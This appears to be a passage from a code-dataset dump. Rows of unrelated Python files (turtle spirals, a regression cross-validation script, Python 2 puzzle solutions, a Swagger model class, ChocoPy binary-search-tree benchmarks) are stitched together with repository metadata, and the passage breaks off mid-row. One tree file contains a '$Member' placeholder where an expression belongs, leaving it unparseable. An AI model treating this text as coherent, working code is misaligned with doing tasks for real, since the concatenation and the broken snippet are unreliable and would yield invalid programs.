COORDINATES_MAP_TEST_1 = {
"latitude_min" : 0,
"latitude_max" : 10,
"longitude_min" : 0,
"longitude_max" : 10
}
CIDADES_ALAGOAS = list(open("tests/cidades_alagoas.txt", "r").readlines())[:10]
def generate_random_sample(locations_names, latitude_min, latitude_max,
longitude_min, longitude_max):
locations = []
for location_name in locations_names:
latitude = np.random.uniform(latitude_min + 1, latitude_max - 1)
longitude = np.random.uniform(longitude_min + 1, longitude_max - 1)
locations.append(Location(location_name, latitude,longitude))
for i in range(len(locations)):
for j in range(i + 1, len(locations), 1):
if np.random.random() > 0.7:
cost = calc_distance(*locations[i].real_pos, *locations[j].real_pos)
locations[i].add_conection(locations[j], cost)
return locations
def get_map_test_1():
locations = generate_random_sample(CIDADES_ALAGOAS, **COORDINATES_MAP_TEST_1)
return Map(locations, **COORDINATES_MAP_TEST_1) | [
"[email protected]"
] | |
251411a9333fbd7da3a0557d59516ffd7672af6c | f6d8f211bd87b47b511ac0b6599806ab3131999f | /04-case-study-interface-design/ex_4_12_5.py | 937b06979b4f78846f3bdcb3f460fea8fed15b30 | [] | no_license | csu-xiao-an/think-python | 6cea58da4644cd1351112560e75de150d3731ce9 | 8177b0506707c903c3d4d9a125c931aba890cc0c | refs/heads/master | 2020-07-26T19:35:38.919702 | 2019-09-16T03:33:15 | 2019-09-16T03:33:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,746 | py | """This module contains a code for ex.5 related to ch.4.12.
Think Python, 2nd Edition
by Allen Downey
http://thinkpython2.com
"""
import math
import turtle
def polyline(t, n, length, angle):
"""Draws n line segments.
:param t: Turtle object
:param n: number of line segments
:param length: length of each segments
:param angle: degrees between segments
"""
for i in range(n):
t.fd(length)
t.lt(angle)
def arc(t, r, angle):
"""Draws an arc with the given radius and angle
:param t: Turtle object
:param r: radius of the arc
:param angle: angle subtended by the arc, in degrees
"""
arc_length = 2 * math.pi * r * abs(angle) / 360
n = int(arc_length / 4) + 3
step_length = arc_length / n
step_angle = float(angle) / n
polyline(t, n, step_length, step_angle)
def arch_spiral(t, n, length=4):
"""Draws an Archimedian spiral.
:param t: Turtle object
:param n: number of line segments
:param length: length of each segment
https://en.wikipedia.org/wiki/Archimedean_spiral
"""
a = 0.01 # how loose the initial spiral starts out (larger is looser)
b = 0.0002 # how loosly coiled the spiral is (larger is looser)
theta = 0.0
for i in range(n):
t.fd(length)
dtheta = 1 / (a + b * theta)
t.lt(dtheta)
theta += dtheta
def fib_spiral(t, n):
"""Draws a Fibonacсi spiral.
:param t: Turtle object
:param n: length of sequence
"""
a, b = 0, 1
for i in range(n):
arc(t, a, 90)
a, b = b, a+b
if __name__ == '__main__':
bob = turtle.Turtle()
# arch_spiral(bob, 200)
fib_spiral(bob, 15)
bob.hideturtle()
turtle.mainloop()
| [
"[email protected]"
] | |
49dbafb4ad1aeaf9119acdede9c7aa71c786d66a | 727f1bc2205c88577b419cf0036c029b8c6f7766 | /out-bin/py/google/fhir/models/model_test.runfiles/pypi__tensorflow_1_12_0/tensorflow-1.12.0.data/purelib/tensorflow/python/layers/utils.py | 19fe50abb25751952deed4e3e7c7ae32c95d8ff6 | [
"Apache-2.0"
] | permissive | rasalt/fhir | 55cf78feed3596a3101b86f9e9bbf6652c6ed4ad | d49883cc4d4986e11ca66058d5a327691e6e048a | refs/heads/master | 2020-04-13T00:16:54.050913 | 2019-01-15T14:22:15 | 2019-01-15T14:22:15 | 160,260,223 | 0 | 0 | Apache-2.0 | 2018-12-03T22:07:01 | 2018-12-03T22:07:01 | null | UTF-8 | Python | false | false | 174 | py | /home/rkharwar/.cache/bazel/_bazel_rkharwar/c4bcd65252c8f8250f091ba96375f9a5/external/pypi__tensorflow_1_12_0/tensorflow-1.12.0.data/purelib/tensorflow/python/layers/utils.py | [
"[email protected]"
] | |
74b5b828f3763b47c0928d9ef000736bbb8defdc | 5c71d64db74c4c39b6e9adb70036a56e197f111c | /amsterdam-airbnb/CV_LinearRegression_selectedfeatures.py | 7bf77d7e9d82ecfe3d6a251211a286ad6095989d | [] | no_license | sebkeil/Group20-VU | 3e70f1e464bb9873c8e8125ae190a52f08c85804 | 38f80d80944583e1ac48c6219130de69c0c60242 | refs/heads/master | 2021-05-18T03:15:15.671035 | 2020-09-06T15:00:10 | 2020-09-06T15:00:10 | 251,079,102 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,035 | py | from sklearn.model_selection import cross_validate
from sklearn.linear_model import LinearRegression
import pandas as pd
import numpy as np
from sklearn.preprocessing import StandardScaler
# read in files
X_train = pd.read_csv('train.csv')
y_train = pd.read_csv('y_train.csv', names=['price'])
# drop features
X_train = X_train.drop(['bathrooms', 'bedrooms','guests_included','host_listings_count','instant_bookable_f','room_type_Private room'],axis=1)
# standardize data
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)
# Create a linear regression object: reg
reg = LinearRegression()
# Compute 5-fold cross-validation scores: cv_scores
cv_scores = cross_validate(reg, X_train, y_train, cv=5, scoring=('r2', 'neg_root_mean_squared_error'))
# Print the 5-fold cross-validation scores
#print(cv_scores)
print("Average 5-Fold CV Score (R2): {}".format(round(np.mean(cv_scores['test_r2']),4)))
print("Average 5-Fold CV Score (RMSE): {}".format(round(np.mean(cv_scores['test_neg_root_mean_squared_error']),2)))
| [
"[email protected]"
] | |
8dca1271759ee7e83227a510a85cae83c7c18567 | 1c390cd4fd3605046914767485b49a929198b470 | /PE/73.py | 605024f5c153e5bca66a554ce755b76a2d0b1973 | [] | no_license | wwwwodddd/Zukunft | f87fe736b53506f69ab18db674311dd60de04a43 | 03ffffee9a76e99f6e00bba6dbae91abc6994a34 | refs/heads/master | 2023-01-24T06:14:35.691292 | 2023-01-21T15:42:32 | 2023-01-21T15:42:32 | 163,685,977 | 7 | 8 | null | null | null | null | UTF-8 | Python | false | false | 148 | py | from fractions import gcd
z=0
for i in range(12001):
print i
for j in range(i):
if gcd(i,j)==1 and 2*j<=i and 3*j>=i:
z+=1
print z-2
| [
"[email protected]"
] | |
844fd7640e35207a398b570c7d71e27fb7b2de5f | 70734c75951d1349a4a4f66ba82a24f4726aa968 | /smartrecruiters_python_client/models/source_types.py | 6e69f1629ccd49872df29317f8a45592265c7bfa | [
"MIT"
] | permissive | yogasukmawijaya/smartrecruiters-python-client | 0f044847ef76bbe57a3a922e7b0adb4f98c0917f | 6d0849d173a3d6718b5f0769098f4c76857f637d | refs/heads/master | 2020-04-09T16:45:41.703240 | 2017-07-08T19:59:25 | 2017-07-08T19:59:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,002 | py | # coding: utf-8
"""
Unofficial python library for the SmartRecruiters API
The SmartRecruiters API provides a platform to integrate services or applications, build apps and create fully customizable career sites. It exposes SmartRecruiters functionality and allows to connect and build software enhancing it.
OpenAPI spec version: 1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class SourceTypes(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self, total_found=None, content=None):
"""
SourceTypes - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'total_found': 'int',
'content': 'list[SourceTypesContent]'
}
self.attribute_map = {
'total_found': 'totalFound',
'content': 'content'
}
self._total_found = total_found
self._content = content
@property
def total_found(self):
"""
Gets the total_found of this SourceTypes.
:return: The total_found of this SourceTypes.
:rtype: int
"""
return self._total_found
@total_found.setter
def total_found(self, total_found):
"""
Sets the total_found of this SourceTypes.
:param total_found: The total_found of this SourceTypes.
:type: int
"""
if total_found is None:
raise ValueError("Invalid value for `total_found`, must not be `None`")
self._total_found = total_found
@property
def content(self):
"""
Gets the content of this SourceTypes.
:return: The content of this SourceTypes.
:rtype: list[SourceTypesContent]
"""
return self._content
@content.setter
def content(self, content):
"""
Sets the content of this SourceTypes.
:param content: The content of this SourceTypes.
:type: list[SourceTypesContent]
"""
if content is None:
raise ValueError("Invalid value for `content`, must not be `None`")
self._content = content
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, SourceTypes):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
| [
"[email protected]"
] | |
9b0e6e18151779ef2c05e047ba28042259e4bdb8 | 4ab83ae9b3320e423116579a2de14600aeda16e0 | /46_孩子们的游戏(圆圈中最后剩下的数).py | 15ab243f7034126827dcc0951c5356c320a720dc | [] | no_license | yaodalu/JZOffer | a4e8d6611cbff686dbbdd95226caeb5614945f9c | ede5f500f45b865058352b0c37629d7f2254a4d6 | refs/heads/master | 2020-05-21T17:10:09.705926 | 2019-09-10T01:05:55 | 2019-09-10T01:05:55 | 186,118,657 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,083 | py | # -*- coding:utf-8 -*-
class Solution:
def LastRemaining_Solution(self, n, m):
"""单向循环链表解法"""
if n == 0: #特殊情况,没有小朋友
return -1
if n == 1: #特殊情况,只有一个小朋友
return 1
if m == 1: #特殊情况,每次第一个小朋友退出
return n-1
myList = MyList(n)
while not myList.judgeOneElem():
myList.pop(m)
return myList.judgeOneElem().val
class Node():
def __init__(self,val):
self.val = val
self.next = None
class MyList():
"""尾指针指向头节点的单向循环链表"""
def __init__(self,n): #n>=2
self.__head = Node(0)
cur = self.__head
for i in range(1,n-1): #退出循环时,cur指向倒数第二个节点
cur.next = Node(i)
cur = cur.next
cur.next = Node(n-1)
cur = cur.next
cur.next = self.__head
def judgeOneElem(self):
"""判断链表是否只有一个节点"""
if self.__head and self.__head.next == self.__head:
return self.__head #如果链表只有一个节点,则返回该节点
return False
def pop(self,m):
"""遍历"""
if self.__head is None:
return
cur,count = self.__head,0
while count != m-2 : #退出循环的时候，指针指向需要删除的节点的前一个节点
cur = cur.next
count += 1
self.__head = cur.next.next #头节点指向删除节点的后一个节点
cur.next = self.__head
if __name__ == "__main__":
print Solution().LastRemaining_Solution(5,3)
| [
"[email protected]"
] | |
0023937f5c12f7a15fd54083090d66e26fe0887a | f2cacb05d20e2e699e64035b6bee9a8bed3d3b8e | /atm/__init__.py | 4d85ea4f53cca492fe01cc6e8f66cf043c77030a | [
"BSD-3-Clause"
] | permissive | moeyensj/atm | 31e54e93c0881307770ab0d7815b9c4678f9f2e6 | 0523600cf44423a1ef72ca40fff29bbfbe1281a8 | refs/heads/master | 2022-08-13T05:33:54.131701 | 2021-03-03T23:38:02 | 2021-03-03T23:38:02 | 196,091,171 | 9 | 2 | BSD-3-Clause | 2021-03-03T23:38:03 | 2019-07-09T22:16:20 | Python | UTF-8 | Python | false | false | 289 | py | from .version import __version__
from .config import *
from .constants import *
from .frames import *
from .helpers import *
from .functions import *
from .models import *
from .obs import *
from .analysis import *
from .data_processing import *
from .fit import *
from .plotting import *
| [
"[email protected]"
] | |
15a860f8bc4c092e866e5ee2784958d676c664fb | a98bc8906c3fbe4d388442d24cbeed06d06686f9 | /Codechef 2019/sept Long 2019/chefinsq.py | a3cdcb3f34a5e9ed032f62cfec6c69d944f9028e | [] | no_license | Arrowheadahp/Contests-Challenges-and-Events | 1ac4f1b2067276fa669e86ecfdb685d95ba663fd | fc156e5ae49b3074a9dbd56acd4fdc2af25c6a3f | refs/heads/master | 2022-12-13T19:50:38.041410 | 2020-08-22T14:16:23 | 2020-08-22T14:16:23 | 197,886,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 342 | py | def fact(k):
f = 1
while k:
f*=k
k-=1
return f
for _ in range(input()):
n, k = map(int, raw_input().split())
A = map(int, raw_input().split())
A.sort()
x = A[k-1]
s = A[:k].count(x)
t = A.count(x)
#print s, t
print fact(t)/(fact(s)*fact(t-s))
'''
2
4 2
1 2 3 4
4 2
1 2 2 2
'''
| [
"[email protected]"
] | |
70a701bc5cf1cd1ac9d4ac6d0363562e3c83398d | c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c | /cases/synthetic/tree-big-2951.py | fa63609bcdcdfb979fea5d777ccafaefcce4369d | [] | no_license | Virtlink/ccbench-chocopy | c3f7f6af6349aff6503196f727ef89f210a1eac8 | c7efae43bf32696ee2b2ee781bdfe4f7730dec3f | refs/heads/main | 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,286 | py | # Binary-search trees
class TreeNode(object):
value:int = 0
left:"TreeNode" = None
right:"TreeNode" = None
def insert(self:"TreeNode", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode(x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode(x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode2(object):
value:int = 0
value2:int = 0
left:"TreeNode2" = None
left2:"TreeNode2" = None
right:"TreeNode2" = None
right2:"TreeNode2" = None
def insert(self:"TreeNode2", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode2(x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode2(x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode2", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode2(x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode2(x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode2", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode2", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode3(object):
value:int = 0
value2:int = 0
value3:int = 0
left:"TreeNode3" = None
left2:"TreeNode3" = None
left3:"TreeNode3" = None
right:"TreeNode3" = None
right2:"TreeNode3" = None
right3:"TreeNode3" = None
def insert(self:"TreeNode3", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode3", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode3", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode3", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode4(object):
value:int = 0
value2:int = 0
value3:int = 0
value4:int = 0
left:"TreeNode4" = None
left2:"TreeNode4" = None
left3:"TreeNode4" = None
left4:"TreeNode4" = None
right:"TreeNode4" = None
right2:"TreeNode4" = None
right3:"TreeNode4" = None
right4:"TreeNode4" = None
def insert(self:"TreeNode4", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode4", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode4", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode4", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool:
if x < $Member:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode5(object):
value:int = 0
value2:int = 0
value3:int = 0
value4:int = 0
value5:int = 0
left:"TreeNode5" = None
left2:"TreeNode5" = None
left3:"TreeNode5" = None
left4:"TreeNode5" = None
left5:"TreeNode5" = None
right:"TreeNode5" = None
right2:"TreeNode5" = None
right3:"TreeNode5" = None
right4:"TreeNode5" = None
right5:"TreeNode5" = None
def insert(self:"TreeNode5", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode5", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode5", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode5", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class Tree(object):
root:TreeNode = None
size:int = 0
def insert(self:"Tree", x:int) -> object:
if self.root is None:
self.root = makeNode(x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree2(object):
root:TreeNode2 = None
root2:TreeNode2 = None
size:int = 0
size2:int = 0
def insert(self:"Tree2", x:int) -> object:
if self.root is None:
self.root = makeNode2(x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree2", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode2(x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree2", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree2", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree3(object):
root:TreeNode3 = None
root2:TreeNode3 = None
root3:TreeNode3 = None
size:int = 0
size2:int = 0
size3:int = 0
def insert(self:"Tree3", x:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree3", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree3", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree3", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree3", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree3", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree4(object):
root:TreeNode4 = None
root2:TreeNode4 = None
root3:TreeNode4 = None
root4:TreeNode4 = None
size:int = 0
size2:int = 0
size3:int = 0
size4:int = 0
def insert(self:"Tree4", x:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree4", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree4", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree4", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree4", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree4", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree5(object):
root:TreeNode5 = None
root2:TreeNode5 = None
root3:TreeNode5 = None
root4:TreeNode5 = None
root5:TreeNode5 = None
size:int = 0
size2:int = 0
size3:int = 0
size4:int = 0
size5:int = 0
def insert(self:"Tree5", x:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree5", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree5", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree5", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree5", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree5", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def makeNode(x: int) -> TreeNode:
b:TreeNode = None
b = TreeNode()
b.value = x
return b
def makeNode2(x: int, x2: int) -> TreeNode2:
b:TreeNode2 = None
b2:TreeNode2 = None
b = TreeNode2()
b.value = x
return b
def makeNode3(x: int, x2: int, x3: int) -> TreeNode3:
b:TreeNode3 = None
b2:TreeNode3 = None
b3:TreeNode3 = None
b = TreeNode3()
b.value = x
return b
def makeNode4(x: int, x2: int, x3: int, x4: int) -> TreeNode4:
b:TreeNode4 = None
b2:TreeNode4 = None
b3:TreeNode4 = None
b4:TreeNode4 = None
b = TreeNode4()
b.value = x
return b
def makeNode5(x: int, x2: int, x3: int, x4: int, x5: int) -> TreeNode5:
b:TreeNode5 = None
b2:TreeNode5 = None
b3:TreeNode5 = None
b4:TreeNode5 = None
b5:TreeNode5 = None
b = TreeNode5()
b.value = x
return b
# Input parameters
n:int = 100
n2:int = 100
n3:int = 100
n4:int = 100
n5:int = 100
c:int = 4
c2:int = 4
c3:int = 4
c4:int = 4
c5:int = 4
# Data
t:Tree = None
t2:Tree = None
t3:Tree = None
t4:Tree = None
t5:Tree = None
i:int = 0
i2:int = 0
i3:int = 0
i4:int = 0
i5:int = 0
k:int = 37813
k2:int = 37813
k3:int = 37813
k4:int = 37813
k5:int = 37813
# Crunch
t = Tree()
while i < n:
t.insert(k)
k = (k * 37813) % 37831
if i % c != 0:
t.insert(i)
i = i + 1
print(t.size)
for i in [4, 8, 15, 16, 23, 42]:
if t.contains(i):
print(i)
| [
"[email protected]"
] | |
734222744177ba9b4b567229c0c42a7e3e563b04 | 71b11008ab0455dd9fd2c47107f8a27e08febb27 | /04、 python编程/day01/3-code/算数运算符.py | 449a9baa4ca2b1ae2202b8fdd1968229b4f48c70 | [] | no_license | zmh19941223/heimatest2021 | 49ce328f8ce763df0dd67ed1d26eb553fd9e7da4 | 3d2e9e3551a199bda9945df2b957a9bc70d78f64 | refs/heads/main | 2023-08-25T17:03:31.519976 | 2021-10-18T05:07:03 | 2021-10-18T05:07:03 | 418,348,201 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 112 | py | print(3 + 2)
print(3 - 2)
print(3 * 2)
print(3 / 2)
print(3 // 2)
print(3 % 2)
print(3 ** 2)
print("hello" * 3) | [
"[email protected]"
] | |
c6adb1d9469a5adfe8a767e63e40fbd9ab028c03 | 8df1237388352d29c894403feaf91e800edef6bf | /Algorithms/141.linked-list-cycle/141.linked-list-cycle.py | 255c09e7e984294aef20caa856189c3b49b66f31 | [
"MIT"
] | permissive | GaLaPyPy/leetcode-solutions | 8cfa5d220516683c6e18ff35c74d84779975d725 | 40920d11c584504e805d103cdc6ef3f3774172b3 | refs/heads/master | 2023-06-19T22:28:58.956306 | 2021-07-19T00:20:56 | 2021-07-19T00:20:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | py | class Solution:
def hasCycle(self, head: ListNode) -> bool:
fast = slow = head
while slow and fast and fast.next:
slow = slow.next
fast = fast.next
if slow is fast:
return True
return False
| [
"[email protected]"
] | |
5b47d39363b966b6fd8208f0f5a184dedf934ca4 | c9642233f1de71f1a61ae28c695c2d9228825156 | /echecs_espoir/service/mahjong/models/hutype/two/siguiyi.py | 63d95ac314dad7a3b187dc3c09ab0befe8eacee5 | [
"AFL-3.0"
